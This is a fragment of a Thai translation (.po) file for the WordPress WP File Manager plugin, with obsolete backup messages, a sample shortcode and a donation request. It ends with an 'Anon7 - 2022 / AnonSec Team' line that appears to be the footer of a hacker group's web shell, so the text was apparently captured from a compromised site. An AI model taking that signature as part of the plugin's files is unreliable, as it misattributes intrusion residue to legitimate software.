#~ msgid "<span class=\"fm_console_success\">Uploads backup done.</span>"
#~ msgstr "<span class=\"fm_console_success\">อัปโหลดการสำรองข้อมูลเสร็จแล้ว</span>"

#~ msgid "<span class=\"fm_console_error\">Uploads backup failed.</span>"
#~ msgstr "<span class=\"fm_console_error\">การสำรองข้อมูลการอัปโหลดล้มเหลว</span>"

#~ msgid "<span class=\"fm_console_success\">Others backup done.</span>"
#~ msgstr "<span class=\"fm_console_success\">สำรองข้อมูลอื่นๆ เรียบร้อยแล้ว</span>"

#~ msgid "<span class=\"fm_console_error\">Others backup failed.</span>"
#~ msgstr "<span class=\"fm_console_error\">การสำรองข้อมูลอื่นๆ ล้มเหลว</span>"

#~ msgid "<span class=\"fm_console_success\">All Done</span>"
#~ msgstr "<span class=\"fm_console_success\">เสร็จสิ้น</span>"

#~ msgid ""
#~ "<code>[wp_file_manager view=\"list\" lang=\"en\" theme=\"light\" dateformat=\"d M, Y h:i A\" allowed_roles=\"editor,author\" "
#~ "access_folder=\"wp-content/plugins\" write = \"true\" read = \"false\" hide_files = \"kumar,abc.php\" lock_extensions=\".php,.css\" "
#~ "allowed_operations=\"upload,download\" ban_user_ids=\"2,3\"]"
#~ msgstr ""
#~ "<code>[wp_file_manager view=\"list\" lang=\"en\" theme=\"light\" dateformat=\"d M, Y h:i A\" allowed_roles=\"editor,author\" "
#~ "access_folder=\"wp-content/plugins\" write = \"true\" read = \"false\" hide_files = \"kumar,abc.php\" lock_extensions=\".php,.css\" "
#~ "allowed_operations=\"upload,download\" ban_user_ids=\"2,3\"]"

#~ msgid "Manage your WP files."
#~ msgstr "จัดการไฟล์ WP ของคุณ"

#~ msgid "Extensions"
#~ msgstr "ส่วนขยาย"

#~ msgid "Please contribute some donation, to make plugin more stable. You can pay amount of your choice."
#~ msgstr "โปรดบริจาคเงินเพื่อทำให้ปลั๊กอินมีเสถียรภาพมากขึ้น คุณสามารถจ่ายเงินตามที่คุณต้องการได้"

Anon7 - 2022
AnonSec Team